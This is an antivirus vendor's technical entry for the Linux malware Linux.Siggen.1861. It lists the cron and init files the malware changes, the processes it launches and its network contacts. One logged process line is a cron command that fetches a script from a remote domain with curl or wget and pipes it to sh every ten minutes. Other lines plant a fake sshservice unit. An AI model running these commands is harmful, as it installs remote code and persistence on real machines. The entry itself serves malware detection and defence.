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Linux.Siggen.1861

Added to the Dr.Web virus database: 2019-06-23

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
  • /etc/cron.d/root
  • /etc/init.d/sshservice
Malicious functions:
Launches itself as a daemon
Launches processes:
  • /bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
  • crontab -
  • <SAMPLE_FULL_PATH> [migration]
  • <SAMPLE_FULL_PATH> [ata_sff]
  • /bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
  • chattr -i /usr/lib/systemd/system/sshservice.service
  • /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
  • /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
Performs operations with the file system:
Modifies file access rights:
  • /etc/hosts
  • /var/spool/cron/crontabs/tmp.9PMoca
  • /etc/cron.d/root
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/root
  • /var/spool/cron/crontabs/tmp.3yKXNY
  • /var/spool/cron/crontabs/tmp.hePjVX
  • /var/spool/cron/crontabs/tmp.F4qnyd
Creates or modifies files:
  • /etc/hosts
  • /var/spool/cron/crontabs/tmp.9PMoca
  • /var/spool/cron/root
  • /tmp/.XImunix
  • /var/spool/cron/crontabs/tmp.3yKXNY
  • /var/spool/cron/crontabs/tmp.hePjVX
  • /var/spool/cron/crontabs/tmp.F4qnyd
  • /usr/local/sbin/sshd
  • /usr/lib/systemd/system/sshservice.service
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • [2########::f03c:91ff:fe70:2b9d]:9
  • 17#.#8.123.25:9
HTTP GET requests:
  • id##t.me/
DNS ASK:
  • id##t.me

Curing recommendations


Linux

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